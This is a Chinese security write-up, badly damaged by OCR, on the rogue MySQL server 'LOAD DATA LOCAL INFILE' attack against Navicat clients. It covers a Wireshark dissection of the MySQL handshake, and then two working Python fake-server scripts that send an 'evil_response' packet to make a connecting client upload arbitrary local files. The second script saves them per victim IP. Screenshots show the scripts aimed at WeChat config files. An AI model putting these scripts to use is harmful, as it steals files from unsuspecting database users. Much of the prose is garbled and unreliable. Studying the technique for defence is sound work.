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1.1 Bl

BIREMEEBRIER abc1i23 DN —REXE:
https://mp.weixin.qq.com/s/i8eBT802lwCotf7wgnveEw
(https://mp.weixin.qg.com/s/i8eBT802IwCotf7wgnveEw)
TEXEDINT s RSB[BEARITAEIRE, IHETEH

B mysql BRERFIMTEM, FERIZTIRE, EXEXE
B, B ERTAIRM G . REES mysql FISIZENEIZASHEAY
EFEXMH, HABFE—TEE mysql EEAIN.
X—REREE, AN mysql BREEM—1¥Y, HXER
ERMR, 1ing IMEELKT—RE mysql BRRHINXET:

https://cloud.tencent.com/developer/article/1856248

BEMEREXELHEET Navicat REZREIN, AETH
HIT——EMF,
AXABTRZ, RHEHMSRHTAET.

1.2 il B g


https://mp.weixin.qq.com/s/i8eBT8O2IwCotf7wqnveEw

MysQL BRZZUHBILAFIFS LOAD DATA LOCAL #p<3RIEEY mysoL &
FisfEEXMH, ARENEEERSSFMERIXTRSHENE
P R E BN RY payload

Load data infile & MySQL HI—TEBMEANIIENSZE, EWN

EEERR, 2 wysQL BE—FEBARNBIESAIA,
NEBRZXED, mysql BIERGIE D DOZEEIAMNES
NAERY, A 7S id . Chrome [AEIEERZE.

FAERNRHEITES, AXELXS mysql HTEMNNIE

173,

2.1 MR HER

=HRESE8 vps L{ER phpstudy FFE mysql , FEIGHIEER
STAFINEE,

vz

use mysql; (INEEUEE)

grant all privileges on *.* to root@'%' identified by '{REJ
2, (BEREN % REEEN)

flush privileges; (RIFFXGR)

ysgl> use mysgl
IDatabhase changed

ysgl> grant all privileges on *.% to root@’%Z’ identified hy ’’
Query OK,. @ rouws affected (B.08 sec)

ysgl> flush privileges;
Query OK. @ rows affected (8.0808 sec)

ysgl>

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16602
01090858-b395a58d-5793-48a9-a057—-
935518153cd8.png)
FEAMERE — T

1H % %% x5
MK=: root

TG *xx

EXEERGLTIARIANERITF Wireshark:
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sord
elcome to the MariaDB monitor. Commands end with ; or \g.
ar> MySAL conneztion id is 21
crvee esrsion: 5.5.83 MySGL Commuaily Serwer (uwPL)

opyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
‘ne’lp;” or '“n° for help. Type '\c' to clear the current input statem

[(none)1> i

2.2 mysql EFiIAED

SR — T ERNOTRE:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOAC® cBB@ 2« »>n«>EBE oo @

Time Source Destination Protocol Length Info

150886783 s 192.168.135.15 MySQL 144 Server Greeting proto=10 version=5.5.53
151293130  192.168.135.15 ——— — MySQL 1560 Login Request user=root

11 5.168720113 192.168.135.15 MysQL 77 Response OK

13 5.171285686 192.168.135.15 MysQL 103 Request Query

14 5.185989028 — - 192.168.135.15 MySQL 165 Response TABULAR Response

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
17603336-c63e4c01-d60e-45d4-a443—-
adc5fbec2784.png)

Bt Greeting B, RMEITHRSZIHAY Version FER.,

Time Source Destination Protocol Length Info
.150886783 MySQL 144 Server Greeting proto=10 version=5.5.53
151293130 150 Login Request user=root
168720113 77 Response 0K
171285686 103 Request Query
185989028 165 Response TABULAR Response

» Internet Protocol Version 4, Dst: 192.168.135.15
» Transmission Control Protocol, Src Port: 3366, Dst Port: 38218, Seq
~ MySQL Protocol
Packet Length: 74
Packet Number: 0
~ Server Gr g
Protocol: 10
Version: 5.5.53
Thread ID: 40
salt: [BtC3rg/
Server Capabilities: Oxf7ff
: utf8 COLLATE utf8_general ci
02

S3FDbB ?Y";A
Authentication Plugin: mysql_native_password

e2 dd fb bl b2 64 08 00 45

00 00 72 06 2b 97 73 9f

95 4a 67 e 9 98 01 R

00 60 61 01 08 © 8c

00 00 e 35 2e 35 0 J----5 .5.53-(

ff 0 [BtC3r g/ !

00 00 00 00 00 S3F
41 00 6d 79 7 6c DbB A mysql_
61 73 73 77 6 assword

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
17TRAARTA_OONKTRAR_DAAA_ARAO_hRh7_
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E_MEEAFPER, SRiaIUEEIRFRMEE hash fE:

Protocol _Length Info

MySQL 144 Server Greeting proto=10 version:
My 150 Login Request user=root

MySQL 77 Response 0K

MySQL 103 Request Query

MySQL 165 Response TABULAR Response

Source
D

Destination

8 5.150886783 53

10 5.151293130
11 5.168720113
13 5.171285686
14 5.185989028

Frame 10: 150 bytes on wire (1200 bits), 150 bytes captured (1200 bits) on interface ethe, id 0
» Ethernet II, Src: VMware_96:e2:dd (00:0c:29:96:e2:dd), Dst: 3e:22:fb:b1:b2:64 (3e:22:fb:b1:b2:64)
Internet Protocol Vel on 4, 168.135.15, D:
Trar ion Control Pro 8218,
MysQL Protocol
Packet Length: 80
Packet Number: 1
- Login Request
Client Capabilities: 0xa685
tended Client Capabilities
MAX Pac 16777216
Charset: utf8 COLLATE utf8_general
Unused: 0000000000000000000000000000
Username: root
Password: €90
Client Auth Plugin

Len: 84

1 (33)
0000000000000000

105e4e3b1
mysql_native_password

8 0a
20

0 o
74
o1

69 mysql_na tive_pas
ord

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
17683573-c1e9aa82-c205-4bf2-b84b-07cfaad5ec5c.png)

INERLIS:

Protocol _ Length Info
MySQL 144 Server Greeting proto=10 version=

MySQL 150 Login Request user=root
- HEEN MySQL 77 Response 0K
MySQL 103 Request Query

MysSQL 165 Response TABULAR Response

Destination
.150886783
.151293130
.168720113
171285686

14 5.185989028

) on interface ethe, id ©

on wire (616 bits),
re_96:e2:dd (00:0c:29:96:e2:dd)

II, sr b:b1:b2:64 (3
Protocol Version 4, Src
mission Control Protocol, Sr
MySQL Protocol

Frame 11: 77 byte
b1:b2:64), Dst
Dst: 192.168.135
seq

Packet Length:
Packet Number

Response Code:
prefix: ©
Length

server Status:
wWarnings:

2
0K Packet (©x00)

0x0002

e2 dd 3e
00

00
00 02

o1
)
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MRZEMS N E BB =AY

Protocol Length Info
1 0.000000000 MySQL 71 Re
5 8.187698850 MySQL 144 Se
7 8.188040671 MysQL 150 Lo

8 8.206777527 MySQL 146 Re.

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
17735435-08f94087-ed2d-4683-aaed -
d43e040f3e74.png)

SEAVRE—TE RS E:

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
17765983-128e7720-b930-4787-b99e-9727788187f1.pnQ)
BZ Navicat BFRIAEMMN ENHEHE—LEARE, BXE

BA Windows IXFBARAY Navicat BT T,

XA Navicat16 i RIRAGIEITOMN, BERRES LRD e
EAL, BAERINIRNZES T —1TEWNRIE:
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23 17.163821 MySQL 132 Server Greeting proto=10 version=5.5.53

hﬂpé?%@dnrﬂaﬂ<COWVyuq@§/0{$@22/ﬂﬂ918318154/16606

27 17.224968 MySQL 65 Response
8 17.227. MySQL 217 Re:
2 — —
17809218-ef019dfe-6c47-4de5= G630 F6fbed261fe. png)
31 17.261417 MySQL 120 Response TABULAR Response
33 17.264075 MySQL 162 Request Query
34 17.301047 MySQL 656 Response TABULAR Response
Y /\ Q
o) 2R FKHZH 14% l: E oo, mysgl A5 A Navicat EF-_r |4 S
Frame 8 bits), 76 byt aptured (608 \NPF_{50AD5B34-2FC7-
Ether t I! S c3 \/M 96 4f d7 (ee:ec :29:96:4f:d7), Dst: 3e:22:fb:b1:b2:64 (3e:22:fb:b1:b2:64)
ternet Protocol Ver: n 4, Sr 192.168.135.3,
% (ont l Pro t col, Src Port: 50044, Dst Port: 3306, Seq: 85, Ack: 90, Len: 22
Eys ol
gth: 18
P cket Number: @

qu st Command Query
and: Q ry (3)
Statement: SET NAMES utfsmba

3.1 mysquE\

MySQL ARZZUHPICAFIFE LOAD DATA LOCAL A< 3RIEEY MysQL &
FPinfERENXH, AREHMNEEESRSSFQEZIXTRSSENE
P &2 X E BN S4B payload ,

load data infile IBAIM—PXAXHFRURSHEEZAN—T
xR,

BREARMER phpstudy FFEEUERE, FEEM Navicat #H1T

ER:

MySQL - Fraikis X

B S HgEE SSL SSH  HTTP

Navicat HIERE
EER: ‘Iocalhost ‘
EZIR ‘Iocalhost ‘
wH:
APE: root
- soss |

M 1RF218
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(https://cdn.nlark.com/yuque/0/2022/png/8378754/16602
70700677-e4f0c67c-956¢c—-4bf6-ab5c—
bc233e2a9580.png)

EXEFERBLEN Load data infile L ETFE:

show global variables like'local_infile';

3 localhost —
BiFr Tm=serTa Kxgsal OkBr  Dxa- (0 stes apEs

& mysal localhost | @ test C DEsemiE tawE
@ performance. _schema show global variables like'local_infile';|

users
oo 1B I
&

= @mE 2R EF  W®S

Variable_name  Value

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
17844447-0ed9aa33-eeb65-4a21-97cf-6b888762a7b0.png)
SRIFTLABEITE phpstudy FIXINRERENVATTEH, WMRIZEF
BE0E, AILMERUTHRSHE:

set global local_infile=1;

REFE—TRRN testl , FEAMHITUTHS:

load data local infile
'C:/phpstudy2018/PHPTutorial/WWW/1.txt"' into table
test.testl fields terminated by '\n';
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& T testl @test (localhost) - %

B TEseeTa <wsal Ofmr ozEE

users @test (localhost) - & = * TR - Ei

[Niocalhost [ @test v D s e Reme
1 load data local infile 'C:/phpstudy2018/PHPTutorial/WWW/1.txt' into table test.testl fields
terminated by '\n';

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16602
720577%1 ~04€6f3da—-a128-45a4-9179-841 2d4e2050m9ﬁ_36.png)
? ;L ?-}Iifg Eda;a%:;: |zzllsﬂfégjh:ps :r;,%{,}é &é’:“{q*orﬁ%\l%1 :txt into  Affected rows: 1 0s

i ——— —_— B— -———

POE] “ test1 @test (localhost) - 3

Fass Bxs-Tee [z (¢
test

Jhello hello

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16602
72078508-4f36ffdc-3681-4257-b3c1-1492709461c1.png)
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3.2 Navicat @Dt

£ Navicat FEBII—THEH mysql FEizH, —H®HEETUNTER

= .
=-
Time Source Destination Protocol Length Info
11 8.064550 MySQL 132 Server Greeting proto=10 version=5.5.53
12 8.064699 MySQL 138 Login Request user=root
13 8.109286 MySQL 65 Response OK
14 8.109411 MySQL 76 Request Query
15 8.141408 MySQL 65 Response 0K
16 8.155049 MySQL 217 Request Query

17 8.230389 MvSOL 305 Response TABULAR Response
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18 8.230389 MysSQL 302 Response TABULAR Response
19 8.230389 MysSQL 120 Response TABULAR Response
21 8.232950 MySQL 162 Request Query

22 8.262083 MySQL 656 Response TABULAR Response

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
18019159-82e8441a-7988-45a1-9f1b-c366d190f6b9.png)
EXEMN R LER mysql INEDTEERS, EXBEREE
M—T load data infile HITNEE, B TXNREFARE.

AT ERZIFRZ wireshark DHRE:

AR EIREFTE— %2 ¢

2 =7 test2 @test | -
@ challeng -
e = REF BNFR OBAFR OBRFR Oxg T | TB
& FEROE MR MRS AW IR SQLEK
= & £ KE S REnul g
- D test2 varchar 255 O
-
L J
v [ test
v =
= test2
= 7E -
fx &
= &
&t
localhost
VN NULL
L latin1
HEFFAIRY: latin1_swedish_ci
BRE:
O zss

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
18064161-50bf8490-8d18-4113-a368-c9e9fb8b10f2.png)

EERIT—TLENBT GRS, 1B TRRBN test2

load data local infile
'C:/phpstudy2018/PHPTutorial /WWW/1.txt' into table
test.test2 fields terminated by '\n';

EERS AT RRIA :
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o] 2 test2 @test = = * TR - i)
Bre TEsapTa <Epsal (OrRme  )epEsE
- | test v DEre EE Bowe

(https:/Z&dn.nlatk.com/yug ﬁPéfO/QUQ?/ﬁﬁgb7837827521/16606
18128330-d6c85e2b-7263-48f6-85d8—
36e99ab36¢f2.png) .

fRlFr fj?%ﬂiz‘*? *&?E?)\EEIB :

B TR EMANE S T E’JZIKﬂﬂSUﬁF*ﬂE PN P o
SimEIEER.

émmﬂ

B HWE = oA - B
.__ rhallanaac . _
i FaEs  Bar- Ve SHE (Q8A
= test2
) ghello hello |
|
-
[ |
v test
vT %
= test2
oo TIE
I EE
= =i
&
localhost

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
18143976-fed5d191-c8c5-4bd2-ac9c-6de4c0376496.png)

AEXTEREEARNRERSE, AUBITR testz IRFEZ
5, MBRERFERRVE, RKiEZET, RIME mysql EFRZE,
BRRIRIE, B TRETIE—T.

ETARNEIES, BT IERKIEZRENIED:
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W mysal

% Tine
598 18.535797
599 18.535797
601 18.540831
603 18.543978
604 18.591228
605 18.591228
607 18.593085
608 18.593085
609 18.593085
610 18.593085

Des

nation

Protocol

MysQL

Length Info
1454 Response Response

1454 Response Response

1257 Response Response

70 Request Query

1454 Response TABULAR Response
1454 Response Response

1454 Response Response

1454 Response Response

1454 Response Response

1258 Response Response

(https:/#cdn.nlark.com/yudiie/0/20227png/8378754/16606

615 18.686538
616 18.687340

MysQL
MysQL

113 Response  OK

18168329-ca8ce490-b26c=4f03=9778=4e7bafdb4b04.png)

619 18.737536
620 18.737536
621 18.737536
622 18.737536
674 18.74119)

~ MysQL Protocol

Packet Length: 111

Packet Number:

<

0

Request Command Query

Command: Query (3)
Statement: load data local infile 'C:/phpstudy2018/PHPTutorial/Wh/1.txt"

22 £h h1 h2 A4 00 O

612 18.596913
613 18.650470
614 18.650790
615 18.686538
616 18.687340
617 18.730736
618 18.737536
619 18.737536
620 18.737536
621 18.737536
622 18.737536
624 18.741192

20 aR Af A7 02 00 AT 0B "

|

“

MysQL
MysQL
MysQL
MysQL
MySOl

v

1454 Response Response
1454 Response Response
1454 Response Response
1259 Response Response
157 Reauest Ouerv

t_Protocdi Ve Km g
Va%y ssion Corftro, Mam Shc Port: 50577, Dst Port: 3306, Seq: 934, Ack: 19507, Len: 115

.
MysQL
MysQL
MysQL
MysQL
MysQL
MysQL
MysQL
MysQL
MysQL
MysQL
MysQL
Mysol

into table test.test2 fields terminated by '\n'

169 Request Query
96 Response TABULAR
73 Request[Malformed Packet]
113 Response 0K
70 Request Query
1454 Response TABULAR Response
1454 Response
1454 Response Response
1454 Response Response
1454 Response Response
1259 Response Response
157 Reauest Ouerv

Frame 613: 96 bytes on wire (768 bits), 96 bytes captured (768 bits) on interface \Device\NPF_{50ADSB34-2FC7-4840-9D46-6007C5CFEA71},

Ethernet II, Src: 3e:22:fb:b:
Internet Protocol Version 4, ¢

Transmission Control Protocol, Src

~ MySQL Protocol

Packet Length: 38
Packet Number: 1
Prefix: 251(NULL)
Number of fields: @

Prefi
Length: 67

Extra data: 67
Payload: 3a2f7068707374756479323031382f504850547574617269616c2f5757572f312e747874

00 oc 29 96
00 52 5d 33
87 03 oc ea
0030 01 fd b7 33
70 73 74 75
74 6f 72 69

af
00
5
00
64
61

d7
00
91
00
7
6c

3e
71
eo
26
32
2f

22
06
16
00
30
57

b b1
cf 9c
d4 f4
oo
3138
57 57

Port:

b2 64
73 of
9d ca
fb 43
2f 50
2f 31

2:64 (3e:22:fb:bl:b2:64), Dst: VMware_96:4f:d7 (00:0c:29:96:4f:d7)

3306, Dst Port: 50577, Seq: 19507, Ack: 1049, Len: 42

08
61
ca
3a
a8
2e

00
23
e6
2f
50
74

45 68
o a8
50 18
70 68
54 75
78 74

pstudy20 18/PHPTu
torial/W WW/1.txt

)05 -od

R]3--q

3 &

s

/)

El
a#
3

h

ph

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
18210564-9e5faf70-c130-4a07-8ef5-ff9ca30e011c.png)

BHEINER DR 4

Internet Protocol Version 4, Src:
Transmission Control Protocol, Src Port: 3306, Dst Port: 50577, Seq: 19507, Ack: 1049, Len: 42
v MySQL Protocol
Packet Length: 38

Packet Number:

1

Prefix: 251(NULL)

N

05

, Dst: 192.168.135.3

Number of fields: @

Prefix: 67 1

Length: 67

Extra data: 67

v Payload: 3a2f70687¢737475647p32303138250485054757461726961

[Expert Info (Wafning/Undfcoded): JIXME - dissector is
00 Oc 29 96 4f d7§3e 22 b bl b2464 08 00 45 68
00 52 5d 33 00 0o 1 06 f 9c f 61 23 cO a8
87 03 0c ea c5 91%e0 16 'd4 f4 9d ca ca e6 50 18
01 d b7 33 00

75

5

79 32 30 31 38 2f 50 48 50 54 75
6c 2f 57 57 57 2f 31 2e 74 78 74

pstudy20 18/PHPTu
torial/W WW/1.txt


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618168329-ca8ce490-b26c-4f03-9773-4e7bafdb4b04.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618210564-9e5faf70-c130-4a07-8ef5-ff9ca30e011c.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618231615-3276bff3-3287-4b51-8f03-085c2423e88d.png

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
18231615-3276bff3-3287-4b51-8f03-085c2423e88d.png)

Ex E:

o E—IE 00 00 01 HEZLHIECNFE
o ETMMIE o SEHYER
o E=MIBEM b FRIRE, IXHE

o BN MUENM fb FIRBIRENXHRKE,
7 1ews B, TNHABIN 26 BHEATHEIR 38

EREIERAAT:
https://www.bejson.com/convert/ox2str/

(https://www.bejson.com/convert/ox2str/)

16 FIZIX A FF B
MBS T 1T & KE R UBIT10M

433a2f7068707374756479323031382f5048505475746f7269616¢2f5757572f312e747874]

1GHFIETR TG TR L

C:/phpstudy2018/PHPTutorial/WWW/1.txt

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16602
91735205-09182715-c5af-4bdb-a8eb-c74526490a23.png)

REEBXHRNFREEMNE:

612 18.596913 10200 12€ 2 11€ 1€a_0z.3¢c MysQL 169 Request Query

613 18.650470 MySQL 96 Response TABULAR

614 18.650790 MySQL 73 Request[Malformed Packet]
615 18.686538 MySQL 113 Response OK

616 18.687340 MySQL 70 Request Query

617 18.730736 MySQL 1454 Response TABULAR Response
618 18.737536 MySQL

619 18.737536 MySQL

620 18.737536 MySQL

621 18.737536 MysQL

622 18.737536 MysQL

624 18.741192 MySOl

Transmission Control Protocol, Src Port: 50577, Dst Port: 3306, Seq: 1049, Ack: 19549, Len: 19
VySQL Protocol

Packet Length: 11

Packet Number: 2
d Unknown (104)
nown (104)

v Payload: 656c6c6f2068656c6c6f

[Expert Info (Warning/Protocol): Unknown/invalid command code]

MysQL Protocol

Packet Length: @



https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618231615-3276bff3-3287-4b51-8f03-085c2423e88d.png
https://www.bejson.com/convert/ox2str/
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660291735205-09182715-c5af-4bdb-a8eb-c74526490a23.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618303245-023857db-8cb8-4ae1-b06e-ec828a1b89bb.png

Packet Number: 3

[Expert Info (Error/Malformed): Malformed Packet (Exception occurred)]

3e 22 fb bl b2 64 00 oc B d )0 E
003b69 d40008906 8900958783739f ;i@

18 | a P
01 BBl 9 90 00 Gb 00 89 02 68 656 6 GF 20 hello

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
18303245-023857db-8cb8-4ae1-b06e—
ec828a1b89bb.png)

£ Navicat HE mysql WEREFAINER, BARTEEL—
EiR, REBRIZEBEIAIE SET NAMES utf8mb4 , /514

& Response TABULAR BIAY payload JEREIAEF IR, AEEK
THEFPRNXMG., S22, BEXTEREFR, BANIEKREAML

At E R EIRfERRSS 2R LAY, BIRRAER AL TE:

B /R
https://mp.weixin.qg.com/s/rQ9BpavBeMnS6xUQidZ50A

(https://mp.weixin.qg.com/s/rQ9BpavBeMnS6xUQidZ50A)

v

JeUERET). OK ...

v

SET NAMES utfSmb4

A

Evil Response (LOAD DATA)

CiENE

A

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16602
94311025-36e3bad5-f424-4389-9216-
3390f3ed0407.png)

BEMUEREAIE, NRESHNEREEEERMG Navicat |,
FHEFBT load data infile IHEE, L LR, MATAHITR
&, EXBERAMEENTXEFRIRE:
https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUQidZ50A
(https://mp.weixin.qg.com/s/rQ9BpavBeMnS6xUQIdZ50A)
R socket RIRFAZIA— mysql IATEAYAAZ:


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618303245-023857db-8cb8-4ae1-b06e-ec828a1b89bb.png
https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660294311025-36e3bad5-f424-4389-9216-3390f3ed0407.png
https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA

import socket

serversocket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)

port = 3306
serversocket.setsockopt(socket.SOL_SOCKET,
socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)

while True:
# BB InEE
clientsocket,addr = serversocket.accept()

print("&EEhE: %s" % str(addr))
# REMRAER
version_text =
b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00
\XOO\X0O\x2a\X51\x47\Xx38\x48\X17\x12\X21\x0O\X f f\xf f\xcO\x
02\x00\xf FAxc3\x15\x00\x00\x00\x0D\x0D\x0D\x0D\x00\x00\x00
\X7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x
7NX73\X71\X6C\X5F\X6e\x61\X74\x69\X76\x65\ X5 \x70\x61\x73
\X73\X77\x6\Xx72\x64\x00"
clientsocket.sendall(version_text)
try:
# EFIHEKRER
clientsocket.recv(9999)
except Exception as e:
print(e)
# Response 0K
verification =
b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
clientsocket.sendall(verification)
try:
# SET NAMES utf8mb4
clientsocket.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
evil_response =
b"\Xx09\x00\Xx00\xQ1\XxTb\x43\x3a\x2f\x31\x2e\x74\x78\x74"
clientsocket.sendall(evil_response)
# file_text
print(clientsocket.recv(9999))
clientsocket.close()

EAMIETZE, £/ ssh TREER:


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660294929287-6658a381-2f2d-4e7d-8a77-d9b54823b83e.png

/Desktop/mysqUx #l [17:01:30]

.15', 41890)

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16602
94929287-6658a381-2f2d-4e7d-8a77-
d9b54823b83e.png)

BT RN mysql BRI,

WNRIER Navicat FEZANE:

# crow @ crows-mac in ~/Desktop/mysqUs il [17:
code get_wechat.py

X

2006 - Server has gone awa
@ © v # crow @ crows-mac in ~/Desktop/mysqUx il [17:

python3 fake_mysql.py
L EiEiat: (1192.168.135.3", 50777)
b'\x00\x00\x00\x02"

HEfEMHE: (1'192.168.135.3", 50778)
b'\x00\x00\x00\x02"
FEEHYE: ('192.168.135.3", 50779)
b'\x00\x00\x00\x02"

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
18385932-efe7741b-9e63-4f07-9¢c3b-b733b6bas4141.png)

XEBEN Navicat REERZENRIFEIERIITERES, A
MXEEREMBZEEN, AT BEUERBIRHE .
MR Navicat FERE mysql NEHZE, AIMMERFERS
EImARRIE—T payload FiEILASREXEAAISHT . L R
W, PILDGRENAISHRBIIEEMNZ, EERIEEHRNIXMG, &
XE——F3F,

HETIEESZH mysql REIXE, EZISJ:—/PUW@%BMIMU%?U
T wsid FHRER, BEERREETMNMRE, R
ERERIINY, REARI T (G):


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660294929287-6658a381-2f2d-4e7d-8a77-d9b54823b83e.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618385932-efe7741b-9e63-4f07-9c3b-b733b6ba4141.png

BEEMNRMRERRE Navicat k&R, FTHEIRE, THFEL
¥, BFEHMEER, WREBERGIRIDEIE, DI—EFER

> python2 fakeMysqlServer.py

nput ReadFilePath:> C\Users\crow\Documents\WeChat Files\All Users\config\config.data

*] server ready. wait for client...

onnection from: ('10.211.55.5", 4190)

pa 00 00 01 85 a6 07 00 00 00 00 40 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

po 72 6f 6f 74 00 14 78 bd 6d ef 17 a9 e9 25 da b7 77 e4 cb @b 08 57 2f 52 f6 a9
*] Payload send!
pata received:

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
35528283-e6e9ba07-c235-475d-9f45-
c6d126ae2345.png)

$ python3 mysqlloadfile.py

EdEHbhE: ('10.37.129.2', 63257)

EEHbhl: ('10.37.129.2', 63263)

EEHbhl: ('10.37.129.2', 63306)

'utf-16-le' codec can't decode byte 0x01 in position 4: truncated data
Traceback (most recent call last):

File "mysqlloadfile.py", line 260, in <module>
printphone("", client, addr)
File "mysqlloadfile.py", line 195, in printphone
filename = "C:/Users/{}/Documents/WeChat Files/All Users/config/config.data".format(username)
UnboundLocalError: local variable 'username' referenced before assignment

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
35555869-29ad12¢c3-3db8-4ebb-b966-
6e84105fc257.png)

5.1 RlFMHFHES

RS
Navicat12 X FRR

At

‘0‘ =2 i ft Navicat ] 14 X UFRRR.

MRYFEREANNTR . FUReT

http://www.navicat.com.cn/

ISEAEE: 2022/08/29


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660535528283-e6e9ba07-c235-475d-9f45-c6d126ae2345.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660535555869-29ad12c3-3db8-4ebb-b966-6e84105fc257.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660535599696-f11943d7-5ae5-4720-83a0-5048544524e0.png

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
35599696-111943d7-5ae5-4720-83a0-
5048544524¢e0.png)

WEN:  1linux

$EHL:  Windows server 2012 . Windows10

FRBRENSRMY: EERRRAN Navicat , TEEERA%ZEIHR (&
WAERIERR, MRIXEIRMIREAMIE)

Navicat XN EEMIETANEE

5.2 IRENEAN A

RIASKR -
https://cloud.tencent.com/developer/article/1856248
(https://cloud.tencent.com/developer/article/1856248)

FEXERRNTIREX windows THITENAF S,

AR fE < fa:


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660535599696-f11943d7-5ae5-4720-83a0-5048544524e0.png
https://cloud.tencent.com/developer/article/1856248

# coding=utf-8
import socket
import os

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306

server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,
1

server.bind(("", port))

server.listen(5)

def get_data(filename, client, addr):
base_path = os.path.abspath('.') + "/log/" + addr[@]
if not os.path.exists(base_path):
os.makedirs(base_path)

evil_response = str.encode(chr(len(filename)+1)) +
b"\x00\x00\x01\xfb" + str.encode(filename) # EENINE
client.sendall(evil_response)
file_data = client.recv(999999)
print(file_data)
with open(base_path + "/" + filename.replace("/",
"_"Y.replace(":", ""), "wb+") as f:
f.write(file_data)
f.close()

while True:
# BURFInERE
client, addr = server.accept()
print("EEbHE: %s" % str(addr))
# REARAER
version_text =
b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00
\XOO\X0O\x2a\X51\x47\X38\x48\Xx1 7 \x12\X2I\X0O\X f f\xf F\xcO\x
02\x00\xf FAxc3\x15\x00\x00\x00\x0D\ X0\ X0\ x0D\x00\x00\x00
\X7a\x61\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x
7N\X73\X71\X6C\X5F\x6e\x61\x74\x69\x76\x65\X5F \x70\x61\x73
\X73\Xx77\x61\x72\x64\x00"
client.sendall(version_text)
try:
# BFIREKRER
client.recv(9999)
except Exception as e:
print(e)
# Response 0K
verification =
b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
client.sendall(verification)
try:
# SET NAMES utf8mb4
client.recv(9999)

avrant Fvran+inn Ac a-



CALLP L LALLPLLUIL UD .

print(e)

# Response TABULAR

filename = "C:\\Windows\\PFRO.log"
#IX BN EIEERIH KRR
get_data(filename, client, addr)

client.close()

rootQREDIDCkarxujcc2061

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
36173813-eb8f4flc—eefe-4871-8ec7-65b9a6487073.png)

REERER, IR, AXEKRSEEES, =R mysql RSH

R,

N, [ | EEEE [ |

= mm [ssL [ssn [wTTe |

EEE I ‘
HEZE 1P H5ik: | |
=0 3306
BFE: root|
=i eeee

PR AT

EEA wE || BH



https://cdn.nlark.com/yuque/0/2022/png/8378754/1660536173813-eb8f4f1c-eefe-4871-8ec7-65b9a6487073.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618447942-6f3f104c-4c7b-4237-9a53-b6941ef5f35a.png

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
18447942-6f3f104c-4c7b-4237-9a53-b6941ef5f35a.png)
ERXBEEREREERNR:

X4 =8 @ IR #0 28

= = = =
ol . aa H B 85 & B B &= @ B
= Br = nE= [E:544 kS i-10] B/E & w2l i)
e
localhost
=2 Sang.. BNA8 BEKE =R T =

8 2013 - Lost connection to MySQL server during query
[ &= |

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
20979678-5b96fd73-2203-4a7e-bb1f-
84d264862c48.png)

BT E T & RE:

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
21001092-78d7dec9-2dbd-4199-a955-d5fcfddd7526.png)

BT log X, REREBRAFA.



https://cdn.nlark.com/yuque/0/2022/png/8378754/1660618447942-6f3f104c-4c7b-4237-9a53-b6941ef5f35a.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660620979678-5b96fd73-2203-4a7e-bb1f-84d264862c48.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660621001092-78d7dec9-2dbd-4199-a955-d5fcfddd7526.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660621037666-b3876752-7be8-47b2-a1f8-a313e820b3ea.png

